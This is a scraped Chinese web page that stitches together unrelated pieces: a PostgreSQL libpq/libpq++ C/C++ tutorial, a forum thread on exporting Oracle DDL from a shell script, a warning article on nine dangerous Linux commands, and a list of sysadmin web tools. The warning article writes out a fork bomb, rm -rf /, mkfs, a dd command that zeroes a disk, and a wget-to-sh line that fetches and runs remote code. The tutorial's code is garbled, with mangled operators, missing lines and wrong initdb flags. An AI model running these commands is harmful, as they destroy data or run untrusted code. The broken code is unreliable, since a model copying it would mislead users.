怎么从Linux集群上下载软件或oracle数据库集群搭建,用什么命令吗?还要注意什么问题么?

developerWorks 社区
本文介绍使用 C/C++ 结合数据库自带的 libpq 和 libPq++ 库来开发 Linux 下有名的免费数据库 PostgreSQL,详细描述了怎样使用开发库来操作数据的步骤和流程。
()南沙资讯科技园
左锦,就职南沙资讯科技园,喜爱 Linux,Java 还有蓝天白云青山绿水。您可以通过
与他联系。
PostgreSQL数据库介绍PostgreSQL是一种运行在Unix和Linux操作系统(在NT平台借助Cygnus也可以运行)平台上的免费的开放源码的关系数据库。最早是由美国加州大学伯克利分校开发的,开始只是作为一个演示系统发表,但是随着时间的推移,逐步分发,得到很多实际的应用,才逐步流行起来。现在版本发展到了7.3.3。荣誉:
1999年获得Linux World杂志的该年度"最佳数据库产品"称号。2000年荣获Linux Journal杂志编辑选择的"最佳数据库"奖。2003年,也就是最近再一次荣获Linux Journal杂志编辑选择的"
2.主要功能和特性支持SQL。作为关系数据库,它支持SQL89标准也支持部分SQL92大部分功能。有丰富的数据类型。许多数据类型是一些商业数据库都没有提供的。面向对象。它包含了一些面向对象的技术,如继承和类。支持大数据库,它不同于一般的桌面数据库,能够支持几乎不受限制大小的数据库,而且性能稳定。方便集成web,提供一些接口方便 PHP,Perl等语言操作数据库。事务处理。相对一些其他免费数据库如MySQL,他提供了事务处理,可以满足一些商业领域的数据需要。3.数据类型PostgreSQL支持丰富的数据类型,许多数据类型在商业数据库中都无法提供。数值类型。包括整数、任意精度、浮点类型和序列类型数值。货币类型。范围- 到 +。字符类型。分为定长类型,不定长有限制类型和不定长不限制长度类型。二进制字符串。日期和时间类型布尔类型。几何类型。包括点、线、方形、路径、多边形和圆。网络地址类型。位串类型。就是包含1和0的串。对象标识符类型数组类型。4.数据库极限参数名称
数据库大小
16TB(所有系统)
一条记录大小
表记录条数
250-1600(取决于字段的数据类型)
事实上不可能存在无限制的情况。支持16TB大小的表不是单一文件保存,而是分为多个文件存储的,所以不受限制于操作系统。4.下载安装我们可以到
网站下载,具体怎么安装我就不赘述,大家可以看文档,也可以看
参考中的中文网站的文档。在这里我就说说安装中需要注意的几个问题。
注意不能以root登陆Linux来操作数据库(启动数据库服务除外),请以root身份建立postgres用户,设置密码后登录。安装完postgreSQL,可能需要初始化数据库,需要以postgres用户登录系统,运行
initdb -pqlib=/usr/lib/pqsql -pqdata=/var/lib/pqsal如果你的pqlib目录不同则需要按照你的实际路径修改,pqdata也是这样的。
数据库用户与Linux用户是不同的概念,只有数据库用户才能操作数据库,以postgres登录Linux,然后是使用createuser来添加用户,dropuser来删除用户,也可以使用SQL命令CREATE USER来创建。5.常用命令PostgreSQL数据库常用操作命令:Createdb
创建数据库
Createuser
创建数据库用户
删除数据库
删除数据库用户
交互式PostgreSQL前端工具,可以用它来操作数据库
初始化postgreSQL数据库
这里不是介绍怎样使用PostgreSQL数据库,所以对这些命令也不详细解释,可以参见文档说明和帮助。我在这里是假设读者已经安装并初始化好了数据库,并且会使用psql和熟练SQL来交互操作数据。PostgreSQL 的C/C++接口介绍PostgreSQL提供很多不同语言的接口,有C、C++、Perl、Tcl等等,这里主要是介绍C/C++怎样连接到数据库,对数据进行添加,查询等操作。1.C语言接口头文件libqp-fe.h 连接时需要添加连接参数-lpq也就是连接libpq库。建立数据库连接函数
*PQconnectdb( const char *conninfo)
PGconn *PQsetdbLogin(const char *pghost,
const char *pgport,
const char *pgoptions,
const char *pgtty,
const char *dbName,
const char *login,
const char *pwd)建立非阻塞连接函数PGconn *PQconnectStart(const char *conninfo)
PostgresPollingStatusType *PQconnectPoll(PQconn *conn)执行查询函数
PGresult *PQexec(PGconn *conn,const char *query) 返回查询的结构集。
int PQntuples(const Pgresult *res) 返回查询结果里的记录个数。
int PQnfields(const Pgresult *res) 返回记录中的字段的个数。
char *PQfname(const Pgresult *res,int field_index)返回结构集中某一字段的名称。
Oid PQftype(const Pgresult *res, int field_index) 返回结构集中某一字段的数据类型。
char *PQgetvalue(const Pgresult *res,int tup_num, int field_index)
返回结构集中某一条记录中某一个字段的值。这里只列举最常用的一些函数,具体说明可以参见文档。大对象数据操作,主要使用下列函数在SQL语句中操作大对象数据。
Oid lo_creat(PGconn *conn,
创建一个新的大对象.mode
是一个位掩码,描述新对象的不同属性
Oid lo_import(PGconn *conn,
const char *filename)
把文件作为大对象导入数据库
int lo_export(PGconn *conn,
Oid lobjId, const char *filename)
大对象导入出数据库,保存为文件
int lo_open(PGconn *conn,
Oid lobjId, int mode)打开一个现存的大对象
int lo_write(PGconn *conn, int fd,
const char *buf, size_t len)
大对象写入数据
int lo_read(PGconn *conn, int fd,
char *buf, size_t len)从大对象读取数据
int lo_lseek(PGconn *conn, int fd,
int offset, int whence)对大对象数据进行查找
int lo_close(PGconn *conn, int fd)
关闭大对象描述符
函数在fe-lobj.c文件中定义,具体使用参见
上面函数的具体介绍请参见
文档 在这里就不详细介绍了。这里省略列举状态检查函数,参见参考文档。
使用C语言访问数据库的除了libpq库,还有其他如 libpqeasy,ecpg 等接口。2.C++语言接口头文件 libpq++.h 连接需要的库位 pq++,连接参数是 -lpq++libpq++ 类继承关系图
PgConnection成员函数
PgConnection(const char* conninfo)
Connect(const char* conninfo)
同 PQconnectdb
Exec(const char* query)
ExecCommandOk(const char* query)
运行命令并检查状态是否PGRES_COMMAND_OK
ExecTuplesOk(const char* query)
运行查询并检查状态是否PGRES_TUPLES_OK
IntToString(int n)
数字转换为字符串
ConnectionBad()
连接是否失败
ErrorMessage()
返回错误信息
详细说明参见文档PgDatabase 的常用成员函数PgDatabase(const char* conninfo)
构造函数连接到数据库,跟 Pqconnectdb参数相同
同 PQntuples();
CmdTuples()
同 PQcmdTuples
同 PQnfields
FieldName(int field_num)
同 PQfname
FieldNum(const char* field_name)
同 PQfnumber
FieldType(int ield_num)
FieldType(const char* field_name)
同 PQftype
FieldSize(int field_num)
FieldSize(const char* field_name)
同 PQfsize
GetValue(int tup_num, int field_num)
GetValue(int tup_num, const char* field_name)
同 PQgetvalue
GetIsNull(int tup_num, int field_num)
GetIsNull(int tup_num, const char* field_name)
同 PQgetisnull
GetLength(int tup_num, int field_num)
GetLength(int tup_num, const char* field_name)
同 PQgetlength
GetLine(char* string, int length)
同 PQgetline
PutLine(const char* string)
同 PQputline
同 PQendcopy
大对象操作使用 PgLargeObject 类来操作。例子程序以 postgres 用户或者具有建立数据库用户权限的用户登录 Linux,先建立数据库。[zuojin@itpark85 zuojin]$createdb test_db然后使用 psql 连接到数据库[zuojin@itpark85 zuojin]$psql test_db连接到数据库建立表,如下图所示插入测试用数据,如图:(注意:psql中输入SQL语句要以";
"结束才执行,帮助命令是"\\?",退出命令是"\\q")。1)C语言例子#include &stdio.h&
#include &libpq-fe.h&
int main() {
PGresult *
char *pghost = NULL;
char *pgport =NULL;
char *pgoptions =NULL;
char *pgtty = NULL;
char *dbname ="test_db";
/**数据库名*/
int i = 0,t = 0,s,k;
conn = PQsetdb(pghost,pgport,pgoptions,pgtty,dbname);
if (PQstatus(conn) == CONNECTION_BAD) {
fprintf(stderr,"Connection to database '%s' failed!\\n",dbname);
PQfinish(conn);
res = PQexec(conn,"SELECT * FROM test");
/**运行查询命令*/
PQresultStatus(res)
PGRES_TUPLES_OK) {
fprintf(stderr,"Exec Query Fauled!\\n");
PQclear(res);
i = PQntuples(res);
/**取得查询的结果的记录的数量*/
t = PQnfields(res);
/**取得字段数量*/
for(s=0; s&i;s++) {
for (k = 0; k&t; k++) {
printf("%s",PQgetvalue(res,s,k));
printf("\\n");
PQfinish(conn);
PQclear(res);
}运行结果如图所示2)C++例子#include &iostream.h&
#include &libpq++.h&
char query_string[256]= "SELECT * FROM";
PgDatabase data("dbname = test_db");
if (data.ConnectionBad()) {
cout &&"connected failed" &&
cout &&"Error is "&&data.ErrorMessage() &&
if (! data.ExecTuplesOk(query_string)) {
cout&&"Query Failed!" &&
for(int k=0; k&data.Fields(); k++) /**显示字段名称*/ {
cout&&data.FieldName(k);
for (int i = 0; i & data.Tuples(); i++) /**取得查询结果的记录数量*/
for(int k=0; k&data.Fields(); k++) {
cout && data.GetValue(i,k);
cout &&" | "
return 0 ;
}运行结果如图所示本文的样例代码:
参考资料 和
developerWorks: 登录
标有星(*)号的字段是必填字段。
保持登录。
单击提交则表示您同意developerWorks 的条款和条件。 查看条款和条件。
在您首次登录 developerWorks 时,会为您创建一份个人概要。您的个人概要中的信息(您的姓名、国家/地区,以及公司名称)是公开显示的,而且会随着您发布的任何内容一起显示,除非您选择隐藏您的公司名称。您可以随时更新您的 IBM 帐户。
所有提交的信息确保安全。
选择您的昵称
当您初次登录到 developerWorks 时,将会为您创建一份概要信息,您需要指定一个昵称。您的昵称将和您在 developerWorks 发布的内容显示在一起。昵称长度在 3 至 31 个字符之间。
您的昵称在 developerWorks 社区中必须是唯一的,并且出于隐私保护的原因,不能是您的电子邮件地址。
标有星(*)号的字段是必填字段。
(昵称长度在 3 至 31 个字符之间)
单击提交则表示您同意developerWorks 的条款和条件。 .
所有提交的信息确保安全。
文章、教程、演示,帮助您构建、部署和管理云应用。
立即加入来自 IBM 的专业 IT 社交网络。
免费下载、试用软件产品,构建应用并提升技能。
static.content.url=/developerworks/js/artrating/SITE_ID=10Zone=LinuxArticleID=21234ArticleTitle=Linux下免费数据库PostgreSQL开发入门publish-date=新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
白手起家, 积分 45, 距离下一级还需 155 积分
论坛徽章:0
linux oracle数据库,命令导出数据库结构,保存后缀.sql&&用shell脚本怎么实现,求高手解答!
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
论坛徽章:105
这个就是用 Oracle 的 exp 或者 expdp 命令吧,跟 shell 没啥关系吧
白手起家, 积分 45, 距离下一级还需 155 积分
论坛徽章:0
& & exp命令可以导出.sql后缀格式的么?
论坛徽章:105
& & shell是无法直接操作数据库的,你觉得exp不行那就试试sqlplus,总之你得先从数据库的层面来搞定。
白手起家, 积分 45, 距离下一级还需 155 积分
论坛徽章:0
& & 是的,shell只是最后的,主要是数据库上的操作,网上大多是用.dmp后缀的,或者是用工具导出.sql后缀的。换了家公司想法多,不管啥都要做成shell脚本,所谓的自动化运维?
腰缠万贯, 积分 8735, 距离下一级还需 1265 积分
论坛徽章:17
& & 自动化运维并不是说做什么都要用shell脚本去执行的,应该是“结合shell脚本”。数据库本身需要用数据库自己的命令,或者数据库管理软件。
白手起家, 积分 45, 距离下一级还需 155 积分
论坛徽章:0
& & 目前就是卡在数据库命令这块
小富即安, 积分 2145, 距离下一级还需 2855 积分
论坛徽章:10
qhuan30 imp user/password@listenter file=exp.dmp indexfile=xx.sql rows=n复制代码这是imp生成sql的方法
剩下的你自己写到shell就行了
巨富豪门, 积分 38222, 距离下一级还需 1778 积分
论坛徽章:21
try:#! /bin/bash
sqlplus -S username/passwd@dbname&&! & xxx.sql
set pagesize 0;
set long 90000;
select dbms_metadata.get_ddl('TABLE',t.table_name) from user_
小富即安, 积分 2145, 距离下一级还需 2855 积分
论坛徽章:10
& & 这样会导出proceduce跟function吗?9个使用前必须再三小心的Linux命令 | Linux |
_数据库_运维_开发_IT学习_无忧IT学习网
一起学习!一起进步!
9个使用前必须再三小心的Linux命令
浏览: 42 views
在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。
  一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。
在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。
  一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。
  这里我收集了一些对系统有危害的 Linux 代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。
  还有一些事情需要注意:一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux,则是在作为根目录命令时会有危害。
1. Linux Fork Bomb Command
:(){ :: & };: 以 Fork Bomb 闻名,是一个拒绝服务攻击的 Linux 系统。:(){ :: & };: 是一个 bash 函数。只要被执行,他会不断重复,直到系统被冻结。
你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。
2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。
3. Rm -Rf Command
rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。
列下m-rf 命令最常见的组合和选择:
rm command :删除 Linux 系统的文件
rm -f command:不需提示,删除文件中的只读文件
rm -r command 循环删除文件夹的内容
rm -d command :删除空目录,如果非空目录则不会执行该操作
rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令。
rm -rf* command :强制删除当前目录中的所有内容(当前工作目录)和字文件夹
rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.[^.]*
The rm -r.[^.]* command :删除文件及文件夹,带有删除提示
4. Mkfs Command
如果你不知 mkfs 的作用,那么它也是一个危险的命令,mkfs 之后写的任何命令都将会被一个空白的
文件系统格式化、替代。
下面列举出需要管理员权限,格式化硬盘的命令:
mkfs.minix
mkfs.msdos mkfs.reiserfs
mkfs.cramfs 也可以和上面的代码做同样的事情,不过不需要管理源权限。
5. Tar Bomb
tar 命令用于将多个文件以 .tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。
当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。
当收到 tar 文件,定期创建一个新的保护目录,然后在解压前将接受的 tar 文件放到这个目录中,你可以避免成为 tar bomb 的受害者。
6. Dd Command
Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。
下面列举 dd 命令:
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had
7. Shell Script Code
有时候,你可能会被人坑,给你一个 shell 脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。
8. Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
9. Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到 KB。事实上,该小尺寸的压缩文件包含高度压缩数据。
只要文件解压,上百 GB 数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。
& | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | &
最热门文章
41164 views
10854 views
9971 views
6381 views
5942 views
4734 views
4110 views
4036 views
友情链接 |
本站进行129次查询您所在的位置: &
对于Linux系统管理员很有用的16个在线工具
对于Linux系统管理员很有用的16个在线工具
Geekwolf的博客
对于Linux用户来说每天都会写各种命令和脚本,那么你可以使用这个网站工具来查看命令式如何工作的,这样可以避免不必要的错误出现;也是一个很好的学习命令的方式
对于Linux用户来说每天都会写各种命令和脚本,那么你可以使用这个网站工具来查看命令式如何工作的,这样可以避免不必要的错误出现;也是一个很好的学习命令的方式
定制个性命令提示符&
简单说就是个性化生成命令提示符,可将生成的代码写入到用户家目录的.bashrc或者可以设置全局变量文件/etc/profile对所有用户生效
通过RPG游戏练习VIM使用&
通过RPG游戏练习VIM编辑器的使用,使用h,j,k,l字符移动人物来获得新的命令能力和搜集钥匙,查看帮助可使用:赶脚这个非常cool!
在线学习Git版本控制
十五分钟学会Git,很明显这个网站模拟了一个控制台,以很时尚的界面让人对Git不再望而生畏
是一个练习快捷键的好地方,涵盖了vim、sublime、emacs、git等软件的快捷使用方式和友好的说明
免费编程书籍
以Github管理的方式搜集了免费的编程和系统管理等书籍,给作者点1024个赞~~,另外连接是fork原作者,后续增加中文书籍
实时文本交互聊天&
先说下使用,你可以创建一个文档/yb22u填写相关的用户名和选择语言;然后可以将此文档地址发给另一个人,那么互相之间就可以实时看到对方的输入,有高亮语法;使用场合嘛,比如通过collabedit可以考量对方编程能力等
在线编写运行分享C++代码编辑器
可在线编辑运行C++代码,亦可Ctrl+Z生成url分享给好友
浏览器运行虚拟机
又一个非常crazy的工具,在线运行虚拟机,可以选择下载虚拟机镜像也可以上传自己的iso,copy.sh在线运行虚拟机源码:;
命令或记录网站
做运维的应该都知道这个网站,可以分享自己的CLI库,也可以学习借鉴别人的命令脚本
命令别名数据库
有点类似commandlinefu了,可以通过这个网站借鉴获取和分享有用的命令别名
比如lr别名定义了显示目录树
alias&lr='ls&-R&|&grep&&:$&&|&sed&-e&'\''s/:$//'\''&-e&'\''s/[^-][^\/]*\//--/g'\''&-e&'\''s/^/&/'\''&-e&'\''s/-/|/'\'''&&
提供了Linux发行版的详细信息
通过Distrowath不仅可以精确的查看互联网都有哪些流行的Linux发行版,还可以查看每个发行版的相关信息如默认桌面环境、默认应用程序及镜像的下载链接;堪称Linux的数据库
在线查看命令帮助
相当于系统内部的man、help、info等的综合吧
适用Linux环境的软件搜索引擎
如果有款win下好用的软件想在linux下使用,或许可以通过AwesomeCow找到与其类似或者一样的软件,或者通过WINE
Linux好玩游戏合集
在线查看内核代码及不同版本的差异
对于内核开发者或许有很大的帮助
翻译自 /2014/07/useful-online-tools-linux.html
原文链接:
【编辑推荐】
【责任编辑: TEL:(010)】
关于&&的更多文章
性能监测是系统优化过程中重要的一环,如果没有监测、不清楚性能
随着云计算、物联网、大数据、移动互联网的大发展,你应该知道这些。
讲师: 0人学习过讲师: 0人学习过讲师: 0人学习过
周四是“双十二”,或许人们只记得双十二是个购物季,
Storm是一个开源的分布式实时计算系统,可以简单、可
霾欲静而风不止,又是雾霾黄色预警时,北京最近的天气
本书是根据全国计算机技术与软件专业技术资格(水平)考试《网络管理员考试大纲》所要求的考试范围而编写的试题集。全书共分10个
51CTO旗下网站

我要回帖

更多关于 数据库集群方案 的文章

 

随机推荐